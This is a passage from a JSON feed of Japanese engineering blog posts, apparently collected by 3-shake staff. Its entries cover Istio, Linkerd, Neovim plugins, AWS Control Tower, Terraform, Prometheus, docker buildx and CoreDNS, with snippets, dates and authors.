さん@nwiizo さん(アルファベット順)皆様に感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","isoDate":"2022-12-24T21:00:00.000Z","dateMiliSeconds":1671915600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Linkerdにおけるトラフィック制御","link":"https://zenn.dev/kimitsu/articles/linkerd-traffic-control","contentSnippet":"Linkerd は Kubernetes 用の軽量サービスメッシュです。複雑な設定なしにセキュリティ、可観測性、信頼性をクラスタに追加できるのが特徴とされています。また CNCF では Graduated Project としてホストされています。(ちなみにサービスメッシュのデファクトスタンダードとされている Istio は CNCF では Incubating Project です。)Linkerd の機能の 1 つにトラフィックの制御があります。これはある Pod にリクエストを投げられるのは特定の Pod だけというような制限をかけるためのものです。トラフィック制御の設...","isoDate":"2022-12-24T12:56:07.000Z","dateMiliSeconds":1671886567000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Steam Deck に Windows を入れたい方の参考になれば...!","link":"https://qiita.com/tozastation/items/a57df36a369b5425795a","contentSnippet":"この記事は 3-shake Advent Calendar 2022 の24日目の記事です。はじめに年末、しかもクリスマスということで散財させていただきました。初めまして、戸澤といいます。日常…","isoDate":"2022-12-24T08:36:33.000Z","dateMiliSeconds":1671870993000,"authorName":"tozastation","authorId":"tozastation"},{"title":"hop.nvimで直近の検索パターンにホップ","link":"https://blog.atusy.net/2022/12/21/hop-nvim-gn/","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の21日目の記事です。hop.nvimはeasymotion的な検索対象をラベル付けして、入力されたラベルの場所に飛ぶ系のプラグインです。私はこれまでfモーションの拡張としてしか使ってませんでしたが、/の代替として文字列検索に一致した箇所へホップする機能もあると気付きました。","isoDate":"2022-12-21T00:00:00.000Z","dateMiliSeconds":1671580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesのマニフェストをCIで検査する方針を考える","link":"https://zenn.dev/tayusa/articles/ad9fafa197888b","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 17日目の記事です。https://qiita.com/advent-calendar/2022/3-shake 概要以下の気持ちでKubernetesのマニフェストを検査するツールを選定しました。ベストプラクティスに則りたい細かなレビューの手間を省きたいセキュリティリスクを排除したい保守するのが大変なので出来るだけ自分でポリシーは書きたくない。書くとしても書きやすい方法で記述したい 検査ツールの選定以下のツールからカテゴリ別に選定することにしました。スキーマ検査kubeval...","isoDate":"2022-12-17T03:48:50.000Z","dateMiliSeconds":1671248930000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"もっと良い感じにstyler.nvimでアクティブなウィンドウか否かでカラースキームを変える","link":"https://blog.atusy.net/2022/12/17/styler-nvim-active-win/","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の17日目の記事です。以前、Neovimとstyler.nvimを使ってアクティブウィンドウを目立たせる方法を紹介しました。styler.nvimでアクティブなウィンドウか否かでカラースキームを変える下図のように、注目しているウィンドウが一目瞭然なので気に入ってます。しかし、当時のコードはいくつかの課題を抱えていたので、もう少し洗練させることにしました。","isoDate":"2022-12-17T00:00:00.000Z","dateMiliSeconds":1671235200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CloudWatch Logs のログストリームごとのサイズを取得する","link":"https://zenn.dev/toshikish/articles/684e4d7ed4532f","contentSnippet":"動機Amazon CloudWatch Logs のログストリームごとのサイズを知りたいことがありました。たとえば Amazon EKS クラスタを立ち上げて Fluentd または Fluent Bit でログを CloudWatch Logs に送る設定をすると,Pod のログは単一のロググループ(デフォルトでは /aws/containerinsights/Cluster_Name/application)に集約されます。https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Ins...","isoDate":"2022-12-16T08:57:33.000Z","dateMiliSeconds":1671181053000,"authorName":"toshikish","authorId":"toshikish"},{"title":"エンジニア市場拡大のための「憧れの職業」の重要性に関する緒論","link":"https://qiita.com/skikkh/items/21c270c7ff7a942dc5f7","contentSnippet":"はじめに今回、4年ぶりにQiitaに記事を投稿させていただく。ひょんなきっかけ^1で私は、自身が勤めるスリーシェイクのアドベントカレンダーである3-shake Advent Calendar 2…","isoDate":"2022-12-16T02:21:05.000Z","dateMiliSeconds":1671157265000,"authorName":"skikkh","authorId":"skikkh"},{"title":"impatient.nvimによるNeovim起動高速化のコツと作者の思想","link":"https://blog.atusy.net/2022/12/16/impatient-nvim/","contentSnippet":"本記事はVimアドベントカレンダー2022の16日目の記事です。lewis6991/impatient.nvimは、Luaのモジュールをバイトコードとしてキャッシュしたり、モジュールに対応するパスをキャッシュすることで、Neovimの起動を高速化します。うまく使うと作者は54ms -> 6msと10倍近くの高速化を果たしていますし、他の最適化と組み合わせて30倍速を達成した例もあります(https://zenn.dev/kawarimidoll/articles/8172a4c29a6653)。プラグインマネージャは任意で、作者はpacker.nvim、後者の例はvim-plug、本記事の筆者はvim-jetpackを使っています。","isoDate":"2022-12-16T00:00:00.000Z","dateMiliSeconds":1671148800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"⛵️ Istioのサービス間通信を実現するサービスディスカバリーの仕組み","link":"https://speakerdeck.com/hiroki_hasegawa/istioniyorusahisuteisukaharinoshi-zu-mi","contentSnippet":"『3-shake SRE Tech Talk』の登壇資料です\\r\\rIstioのサービスディスカバリーの仕組みについて、Envoyを交えながら解説しました。\\r\\rスライドでは仕組みの詳細を解説できませんでしたので、ぜひ元記事 (Istioのサービス間通信を実現するサービスディスカバリーの仕組み) も参照ください\uD83D\uDC4D\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1603344099368570880","isoDate":"2022-12-15T05:00:00.000Z","dateMiliSeconds":1671080400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【Istio⛵️】\\"3-shake SRE Tech Talk\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/15/025523","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Istioのサービスディスカバリーの仕組みについて発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『Istioのサービス間通信を実現するサービスディスカバリーの仕組み』ていうテーマで、 3-shake SRE Tech Talk に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!本日の発表資料です!⛵️#SRETThttps://t.co/0MKMYVa77u— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 15, 2022 ちな、発表内容の詳細はこの記事をみてくれよな!","isoDate":"2022-12-15T03:00:00.000Z","dateMiliSeconds":1671073200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"時間がない人のための AWS Solutions Architect - Professional 勉強法","link":"https://zenn.dev/toshikish/articles/06d85a2db79f4d","contentSnippet":"難度が高くしっかりとした準備が必要な AWS SA Pro 試験を申し込んだものの,残された時間があまりないという方向けに書いた勉強法の記事です。 試験の概略 特徴長文の選択式問題が75問出題され,それを180分で解くという長丁場な試験です。ざっくり1問あたり2分24秒かけられます。75問もあり,1問に複数のサービスを関連させられるので,AWS が重点的に問いたいサービス・テーマはもれなく出現します。AWS を使った2年以上の実務経験が想定されていますが,たいていの場合,実務で扱うサービスは主要なサービスに限られ,触ったこともないサービスが多く出題されます。そのため,確...","isoDate":"2022-12-12T10:46:25.000Z","dateMiliSeconds":1670841985000,"authorName":"toshikish","authorId":"toshikish"},{"title":"AWS Control Towerを調べる","link":"https://blog.masasuzu.net/entry/2022/12/10/204957","contentSnippet":"これは 3-shake Advent Calendar 2022 10日目の記事です仕事の中でAWSで複数のアカウントを管理したいという要件あり、その中でAWS Control Towerが使えないかなと調べたものをざっくりと書いていきます。AWS Control TowerとはAWS Control TowerとはLanding Zoneを実装するためのAWSのマネージドサービスです。そもそもLanding Zoneって何って話になりますね。Landing Zoneとはセキュリティとコンプライアンスのベストプラクティスに基づきアーキテクチャ設計とマルチアカウント環境を管理する仕組みを指します。Landing Zoneは、下記機能から構成されます。アカウントの発行必要な初期設定の済んだアカウントを作成管理用権限の発行対象アカウントを管理するための権限を作成AWS ログの集約監査用ログをセキュアに一元保存ガードレールの設置実施してはいけない操作の禁止危険な設定の監視Landing Zoneの実装方法AWS Control TowerAWSサービスとして提供される Landing Zoneです。容易に利用可能ですが、カスタマイズするには制限があります。(必須のガードレールを外せなかったり)主にこれからAWSを利用する場合に利用できます。既存アカウントにも適用可能です。独自実装の Landing Zone自組織で独自実装するパターンです。自組織の方針に従って自由にカスタマイズできるのが強みです。ただし、自由にカスタマイズはできますが、自身でメンテナンスしないといけないので、コストはかかります。主に既存アカウントに適用する場合に利用できます。自組織でアカウント発行の仕組みや管理の仕組みができあがってる場合などです。そもそもなんでマルチアカウントにするのかAWSをマルチアカウントにする観点として以下のものが考えられます。環境の分離開発、テスト、本番を分離することによるセキュリティおよび統制の確保請求の分離部門やシステム単位でのコスト明確化権限の分離部門間での権限分離およびアカウントへの権限移譲複雑性の分離アカウントの目的を明確に絞ることで、構成がシンプルになるAWS Organizationsだけでもできることマルチアカウント管理するだけならOrganizationだけでもある程度はできます。むしろAWS Control TowerはOrganizationの機能を利用しています。複数AWSアカウントの一元管理Organization Unit(OU)の作成複数アカウントのグルーピング化AWSアカウントの発行Service Control Policyの作成、OUへの適用複数アカウントの一括請求AWS Control Towerだと何ができるのかControl Towerで提供される機能として以下のものがあります。Landing Zoneの提供AWS Organizationを使用してマルチアカウントを作成デフォルトでSandbox、SecurityのOUを作成AWS IAM アイデンティティセンターを利用したID管理を提供Account FactoryAWSアカウントのプロビジョニングの自動化設定可能なテンプレートを提供CloudTrailとConfigログの保存Log Archiveアカウント内のS3バケットに一元的に保存されるガードレールの提供必須と任意の観点の2種類と予防的と発見的の2種類の組み合わせがありControl Towerにより管理下のアカウントに適用される参考: ガードレールの仕組み予防的ガードレール(Service Control Policy)禁止されたアクションの実行が拒否される仕組みControl Tower管理下のアカウントは必須の予防的ガードレールで禁止されているアクションが不可能発見的ガードレール(Config)特定のイベントが発生したときにCloudTrailに記録される仕組みダッシュボードOUやアカウント、ガードレール違反などが一覧表示できるAWS Control TowerではできないことAWS Control Towerでは提供されてない機能もあります。GuardDutyやSecurity Hubなどのセキュリティ機能を組織全体適用するにはOrganizationsの機能を利用する必要があります。AWS Control Towerの注意点、制約事項いろいろ資料を見てみてこの辺注意が必要かなという点を書いていきます。注意点既存アカウントの Control Tower への受入処理時にエラーになった場合、スタックセット内で自動実行される作業の一部手作業が必要になる参考:トラブルシューティング - AWS Control Tower独自ガードレールの追加は可能だが、容易ではない。必須ガードレールを外せない参考:必須のガードレール - AWS Control Tower各種セキュリティー機能は自動で有効化されないため、Control Towerの範囲外のセキュリティ機能は Control Tower の機能の外で管理が必要になる範囲内の機能: Config, CloudTrail, SCP範囲外の機能: GuardDuty, Security Hub, IAM Access Analyzer, DetectiveControl Tower 未対応リージョンを使用している場合、Control Tower適用リージョンと適用外リージョンが混在して管理が煩雑になる大阪リージョン未対応なのでマルチリージョンを考えるときに注意Control Towerはマネージドサービスであるが追加機能によっては手動バージョンアップ が必要になるケースがある参考: ランディングゾーンを更新する - AWS Control Tower参考: 更新について - AWS Control Towerログアーカイブアカウントで独自のログバケットを作成可能だが、非推奨参考: ランディングゾーンのセットアップに関する管理上のヒントリージョンの使用を制限する SCP の併用に注意が必要参考: AWS Control Tower リソースの作成および変更に関するガイダンスIaC との境界の検討が必要アカウント発行に関してはControl Tower(Account Factory)で手動で行い、その後のアカウント設定はTerraformで行うなどAccount Factory for Terraformを利用することでAWSアカウント発行は可能参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニングどこまでTerraformで対応するかは別途検討が必要制限とクォータS3へのログの保存期間は、最大15年間保存可能(最近アップデートされた)Security OU の共有アカウントの E メールアドレスは変更可能だが、これらの変更を AWS Control Tower コンソールで確認するには、Landing Zone を更新する必要があるAWS Control Tower Landing zone の OU には、OU あたり5個のSCPの制限が適用される300超のアカウントを持つ既存の OU は、AWS Control Tower に登録することはできない300を超える場合はOUを分ける必要があるOUのネストは2段階まで、孫OUを持つことはできない参考: AWS Organizations における組織単位のベストプラクティスAWS Control Towerを使うべきなのかマルチアカウントを展開していくのであれば、AWSのベストプラクティスに乗れるので、使用するのが無難です。ただし、独自のLanding Zoneをすでに構築しており、Account Factoryの仕組みも独自で構築できているのであれば、移行コストを鑑みてそのままでも問題ないです。必須の予防的ガードレールが許容できない、OUなどの制限にひっかるなどの運用上の制約がある場合は使えないので、組織のポリシーを見直すか、独自でLanding Zoneを作るかを考える必要があります。発展もっと調査したかったが、時間が足りなかったことや今後調べたいことです。コンソールからAccount Factory実行するとService Catalogの設定項目がありますが、Service Catalog自体の理解不足でどう扱うのかが把握できてないのでこの辺調べたいです。Account Factory for Terraform(AFT)を使うとアカウント発行そのものもIaC化できるので試したい。参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニング参考: ついにControl Towerのアカウント発行からカスタマイズまでIaC対応!Account Factory for Terraform (AFT)が新登場 #reinvent | DevelopersIOCustomization for Control Tower(CfCT)を使うとアカウント発行のイベントをトリガーにCloudFormationを実行できるので、これも実験したい。参考: AWS Control Tower のカスタマイズ (CfCT) の概要 - AWS Control Tower参考: Control Towerカスタマイズソリューション(CfCT)を使ってガードレールとCloudFormationを自動展開してみた | DevelopersIOまとめControl Towerについて調べたことを書いていきました。実運用自体はまだしてないので、これから触ってみて知見が溜まってきたらまたそれも共有できたらと思います。","isoDate":"2022-12-10T11:49:57.000Z","dateMiliSeconds":1670672997000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"インシデント対応しながら書くポストモーテム","link":"https://zenn.dev/toshikish/articles/1d5bcf9ed1939d","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 8日目の記事です。サービスにおいてインシデントが発生した場合に書くポストモーテムについて,書く負担を減らせるようなテンプレートを提案します。 ポストモーテムのテンプレートポストモーテムのテンプレートは,例えば以下のようなものが公開されています。 Google SREhttps://sre.google/sre-book/example-postmortem/タイトル・インシデント ID日付対応者ステータス概要影響主な原因障害発生のトリガー解決策検知アクションアイテム...","isoDate":"2022-12-07T22:00:00.000Z","dateMiliSeconds":1670450400000,"authorName":"toshikish","authorId":"toshikish"},{"title":"lego で既存の秘密鍵を使って証明書を発行する","link":"https://blog.1q77.com/2022/12/issue-the-certificate-using-existing-private-key-with-lego/","contentSnippet":"既存の秘密鍵を使って証明書を発行しなければいけないという特殊な環境ですぐに証明書を発行したいということがありました。 lego を使っての証明書発行は","isoDate":"2022-12-07T13:42:05.000Z","dateMiliSeconds":1670420525000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"セキュア・バイ・デザインの鳴くところ","link":"https://speakerdeck.com/nwiizo/sekiyuabaidezainnoming-kutokoro","contentSnippet":"セキュア・バイ・デザインの鳴くところ\\r安全なソフトウェアを全体から考えるみるで候\\r\\rOWASP Fukuoka Meeting #9\\rhttps://owasp-kyushu.connpass.com/event/266585/\\r\\r副読ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","isoDate":"2022-12-07T05:00:00.000Z","dateMiliSeconds":1670389200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"私のzshrcの推しポイント","link":"https://blog.atusy.net/2022/12/07/zshrc2022/","contentSnippet":"私のzshrcの推しポイントを簡単にまとめておくzshrcはGitHubで管理しているので、推しポイントへのリンクも適宜掲載しておくプロンプトhttps://github.com/atusy/dotfiles/blob/c654f90e8ec9ebbc18543d8f0349f7f8202f20c0/dot_zshrc#L20-L36","isoDate":"2022-12-07T00:00:00.000Z","dateMiliSeconds":1670371200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"社会に蔓延る労苦〈Toil〉をなくす(株式会社スリーシェイク入社エントリ)","link":"https://qiita.com/tayakun/items/2f5ca30b777a54b2c52d","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 5日目の記事です。前日は @aqarium さんによる 徒然なるままにDatadog APM でした。私は株式会社スリ…","isoDate":"2022-12-05T14:18:53.000Z","dateMiliSeconds":1670249933000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Prometheus で探索対象の ServiceMonitor を広げる","link":"https://zenn.dev/toshikish/articles/70424038397d6d","contentSnippet":"Kubernetes クラスタで Prometheus を導入し,ServiceMonitor を作って監視対象を定義したところ,一向に Target として追加されないことがありました。ServiceMonitor が作られているだけでは不十分で,Prometheus の探索する対象に入っている必要があります。それがどこで定義されているかを調べました。以下のような ServiceMonitor を考えます。apiVersion: monitoring.coreos.com/v1kind: ServiceMonitormetadata: name: example-serv...","isoDate":"2022-12-05T09:53:34.000Z","dateMiliSeconds":1670234014000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Cloud Runで定期ジョブを実行する","link":"https://zenn.dev/satohjohn/articles/20ebf8d1bed1d1","contentSnippet":"本記事は GCP(Google Cloud Platform) Advent Calendar 2022 の4日目のものです。3日目は @po3rin さんのAPI on GKE に高速で認証をつけるIdentity-Aware Proxy \xd7 Identity Platform でした。 概要普段、GCPを使ったWebアプリケーション開発をしていますが、その中で、定期的に(スケジューリングをして)、ジョブを実行するということがあります。例えば、DBのデータの整合性とか、ログの収集とか。。。この要件のときは、GCP内で完結させるとして、Cloud SchedulerのHTTP...","isoDate":"2022-12-04T13:48:19.000Z","dateMiliSeconds":1670161699000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Osaka.Rで朝もくを続けて2年8ヶ月くらいになった","link":"https://blog.atusy.net/2022/12/04/osakar-asa-moku/","contentSnippet":"本記事は2022/12/04のR言語アドベントカレンダーの記事です。https://qiita.com/advent-calendar/2022/rlang12/03はyutannihilationさんによる「dplyr 1.1.0からはgroup_by()の代わりに.by引数が使えるらしいという話」でした。","isoDate":"2022-12-04T00:00:00.000Z","dateMiliSeconds":1670112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Codecov非対応の言語でもCodecovみたいなことをしたい時","link":"https://zenn.dev/kimitsu/articles/coverage-like-codecov","contentSnippet":"Codecov は、PR へのコメントや README のバッジのような方法でコードのカバレッジを可視化できるツールです。カバレッジを開発者に対して頻繁にフィードバックすることで、開発者はテストを意識するようになります。一方で世の中には星の数ほど言語がありますが Codecov がサポートしているものは意外と少ないです。https://docs.codecov.com/docs/supported-languagesまた色々な理由で Codecov を使いたくない / 使えないという場合もあるかと思います。この記事では Codecov 非対応の言語でも Codecov みたいな...","isoDate":"2022-11-29T13:38:06.000Z","dateMiliSeconds":1669729086000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"複数の Terraform リソースを一度に別の tfstate ファイルに移動する","link":"https://zenn.dev/toshikish/articles/61db8661cb28ba","contentSnippet":"Terraform の tfstate ファイル間のリソースの移動方法は,基本的には以下の記事の通りです。https://www.karakaram.com/moving-terraform-resources-to-another-tfstate-file/この記事では複数リソースを移動したい場合の方法を書きます。 方法やることはシンプルで,リソースをファイルで列挙して xargs で terraform state mv を繰り返すだけです。移動元ディレクトリで terraform state list を実行することで,その tfstate ファイル内の全リソースを取...","isoDate":"2022-11-25T07:33:50.000Z","dateMiliSeconds":1669361630000,"authorName":"toshikish","authorId":"toshikish"},{"title":"styler.nvimでアクティブなウィンドウか否かでカラースキームを変える","link":"https://blog.atusy.net/2022/11/25/styler-nvim-dim-inactive-windows/","contentSnippet":"本記事の改訂版が出ていますhttps://blog.atusy.net/2022/12/17/styler-nvim-active-win/先日はstyler.nvimを使ってバッファが作業ディレクトリに属すか否かで適用するカラースキームを変えました。styler.nvimを使うとバッファごとにcolorschemeを変えられて便利今回はウィンドウがアクティブか否かで適用するカラースキームを変えてみます。似た用途でtint.nvimを使うと、非アクティブなウィンドウのコントラストを抑えられます。しかし、styler.nvimと干渉するのと、コントラストを落としたせいで視認性に乏しくなるおそれがあります。styler.nvimだけ使えば干渉の心配はなくなりますし、人気なカラースキームを使えば低コントラストでも十分な視認性が期待できます。特にnightfox.nvimが提供する高コントラストなduskfoxと低コントラストなnordfoxは文字の色合いが似ていることもあり、相性がよく、今回試してみました。また、styler.nvimはウィンドウローカルなカラースキームを実現するもので、cmdlineやウィンドウ境界はターゲットとしていません。こういったその他の部分やfloatwinにはcatppuccinを採用してみました。--[[# Change colorschemes by active/inactive windowsThis is a simplified version, and may cause performance issue if so many windows are open.## Requirements:- nvim >= 0.8- plugins - folke/styler.nvim - catppuccin/nvim - EdenEast/nightfox.nvim]]-- settings-- ACTIVE_COLORSCHEME and INACTIVE_COLORSCHEME must be colorschemes using `nvim_set_hl`BASE_COLORSCHEME = \'catppuccin-mocha\'ACTIVE_COLORSCHEME = \'duskfox\'INACTIVE_COLORSCHEME = \'nordfox\'-- Apply colorschemevim.cmd(\\"colorscheme \\" .. BASE_COLORSCHEME)-- Create autocmd to apply styler.nvim on active/inactive windowsnvim.api.nvim_create_autocmd( { \'WinEnter\', \'BufEnter\' }, { group = nvim.api.nvim_create_augroup(\'theme-custom\', {}), callback = function(_) local set_theme = require(\'styler\').set_theme local win = nvim.api.nvim_get_current_win() -- use default colorscheme instead of applying styler.nvim on floatwin -- because some UIs are composed of multiple windows and they should share the theme if api.nvim_win_get_config(win).relative ~= \\"\\" then return end -- apply styler.nvim on active window set_theme(win, { colorscheme = ACTIVE_COLORSCHEME }) -- apply styler.nvim on inactive windows for _, w in pairs(api.nvim_tabpage_list_wins(0)) do if w ~= win then set_theme(w, { colorscheme = INACTIVE_COLORSCHEME }) end end end })ENJOY!!","isoDate":"2022-11-25T00:00:00.000Z","dateMiliSeconds":1669334400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"styler.nvimを使うとバッファごとにcolorschemeを変えられて便利","link":"https://blog.atusy.net/2022/11/23/styler-nvim/","contentSnippet":"This Week in Neovimという、週次でNeovim関係のニュースを届けてくれるウェブサイトの21 Nov 2022号で、プラグインのfolke/styler.nvimが紹介されていました。このプラグインの目的は、READMEにある通り、ファイルタイプごとのカラースキーム設定です。","isoDate":"2022-11-23T00:00:00.000Z","dateMiliSeconds":1669161600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","link":"https://zenn.dev/bells17/articles/docker-buildx","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに?リポジトリを見るとdock...","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"RPM の install, uninstall 時に実行される script の確認","link":"https://blog.1q77.com/2022/11/rpm-scripts/","contentSnippet":"ある RPM Package のインストール、アンインストール時にどんな処理が行われているのか確認したいことがある そんな時な rpm コマンドの --scripts オプションを使用する rpm -qp","isoDate":"2022-11-10T23:38:02.000Z","dateMiliSeconds":1668123482000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"AWS IAM ポリシーの StringNotEquals 条件の複数値指定は AND になる","link":"https://zenn.dev/toshikish/articles/2d9274783acbae","contentSnippet":"AWS IAM ポリシーの条件で同一キーに対して複数値を指定した場合,通常は OR で評価されます。例えば,以下の StringEquals 条件の例では,aws:PrincipalTag/role が audit または security のいずれかであれば true になります。\\"Condition\\": { \\"StringEquals\\": { \\"aws:PrincipalTag/role\\": [ \\"audit\\", \\"security\\" ] }}では StringNotEquals 条件にするとどうでしょうか?例えば以下のポリシーで aws:Principal...","isoDate":"2022-11-10T08:31:56.000Z","dateMiliSeconds":1668069116000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2022年10月のふりかえり、まとめ","link":"https://blog.masasuzu.net/entry/2022/11/09/082007","contentSnippet":"7年ぶりにふり返りするような気がします。これぶりですかね。blog.masasuzu.net10月は思い立って細かいことでも記録に残すようにし始めたのでサブブログの月間投稿数が増えてます。このまま続けたいところです。メインブログは相変わらず0なのでちゃんと書きたいところではあります。2022-10-01から1ヶ月間の記事一覧 - ふり返る暇なんて無いね仕事10月は端境期だったので、技術検証をメインでやってました。技術メインブログの方はどちらかというとパブリック向けに書いてます。ただ、この方針だと記事がゆるい記事が書きにくくなってきたので、サブブログを作った経緯があります。サブブログの技術記事は他の誰かのためではなく未来の自分が思い出すために書くをモットーに書いてます。なのでゆるく、細かい系のことも気軽に書いてます。分からないことは分からないと明示する。途中でも経過を残す。恥も残す。そんな感じです。以前とくらべてGoogle Cloud回りを10月はいじってた感じですね。build-in commandのmanが引けなくて困った - ふり返る暇なんて無いねt3系インスタンスのスペックについて - ふり返る暇なんて無いねGoogle Cloudの外部HTTP(S)ロードバランサと外部HTTP(S)ロードバランサ(従来型)の違いがわからなかった。 - ふり返る暇なんて無いね未解決: Google Cloud Storageの静的配信でnginxで言うところのtry_files的なことをしたかった。。。。 - ふり返る暇なんて無いねはてなブログのカテゴリごとのRSSフィード - ふり返る暇なんて無いねGitHub Actionsで save-state とset-output が廃止されるようです。 - ふり返る暇なんて無いね故障と障害の違いがわからずに困惑してた - ふり返る暇なんて無いね資格PCA取りました!11月にはPCA、KCNA、年内にCKA、CKADを取ることを目標に業務とは別に学習してます。なお、業務ではGoogle CloudもKubernetesも今のところ触る余地ないです。が、将来の投資として学習してます。近い未来で使うのが目に見えてるので。Google Cloud認定 Professional Cloud Architect合格してた - ふり返る暇なんて無いね11月末ターゲットで2個資格試験受けます - ふり返る暇なんて無いね旅土曜日の午前中に温泉入るのにはまってます。休日の早い時間に行動すると時間の有効活用ができるなとしみじみ感じてます。人生に疲れたので熱海で温泉入ってきた - ふり返る暇なんて無いね横須賀で温泉入ってきた - ふり返る暇なんて無いね江ノ島に行ってきて午前中だけで満足した - ふり返る暇なんて無いね生活寒くなりましたが、がんばります。今季初暖房使いました。 - ふり返る暇なんて無いね技術書を複数回読むということ - ふり返る暇なんて無いねワクチン4回目打った\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89 - ふり返る暇なんて無いね11月に向けてといっても11月始まってますが。11月は資格の勉強もあるし、新しい固めのお仕事も始まるので、だいぶヘビーになる予感を感じてます。寒くなる季節なので体調には気を付けつつも、引き続き温泉につかり、ブログ書くのも続けて行きたいですね。","isoDate":"2022-11-08T23:20:07.000Z","dateMiliSeconds":1667949607000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"telescope.nvimで作る簡易コマンドパレット(VSCodeのCtrl + Shift + Pっぽいの)","link":"https://blog.atusy.net/2022/11/03/telescope-as-command-pallete/","contentSnippet":"telescope.nvimはキーマップ、Exコマンド、ファイルなどを検索・活用するためのNeovim用プラグインです。この内、キーマップ(:Telescope keymaps)の主な用途は忘れてしまったマッピングの検索でしょう。実は、系のマッピングを実際のキー入力にアサインせずとも使えるので、滅多に使わない機能へ簡単にアクセスする方法として便利です。","isoDate":"2022-11-03T00:00:00.000Z","dateMiliSeconds":1667433600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"/etc/hosts で wildcard や CNAME 対応させたい","link":"https://blog.1q77.com/2022/10/mac-etc-resolver/","contentSnippet":"macOS での話です。(macOS Ventura でも機能することを確認しました) /etc/hosts で 203.0.113.2 *.example.com みたいに wildcard に対応させたいことが稀にあります。 また、AWS の Application Load Balancer のように","isoDate":"2022-10-30T14:56:34.000Z","dateMiliSeconds":1667141794000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"ビットコイン・ブロックチェーン概論","link":"https://speakerdeck.com/shukob/bitutokoinburotukutiengai-lun","contentSnippet":"Open Source Conference 2022 Online Fallの発表に使用した資料です。\\r↓セミナー情報\\rhttps://event.ospn.jp/osc2022-online-fall/session/685055\\r↓日本暗号通貨ユーザ会のページ\\rhttps://cryptocurrency.connpass.com/","isoDate":"2022-10-29T04:00:00.000Z","dateMiliSeconds":1667016000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes クラスタ内ホスト名に CNAME レコードでエイリアスを付与したい","link":"https://zenn.dev/toshikish/articles/7f555dbf1b4b7d","contentSnippet":"Kubernetes クラスタ内で使えるホスト名に CNAME レコード相当でエイリアスを付与したい場合を考えます。クラスタ内では CoreDNS が使われているものとします。 TL;DRCorefile(CoreDNS の設定ファイル)で rewrite プラグインを使って記述します。例えば Service のアドレスである foo.default.svc.cluster.local を foo.example.com にエイリアスしたい場合は以下のように行を追加します。apiVersion: v1kind: ConfigMapmetadata: name: 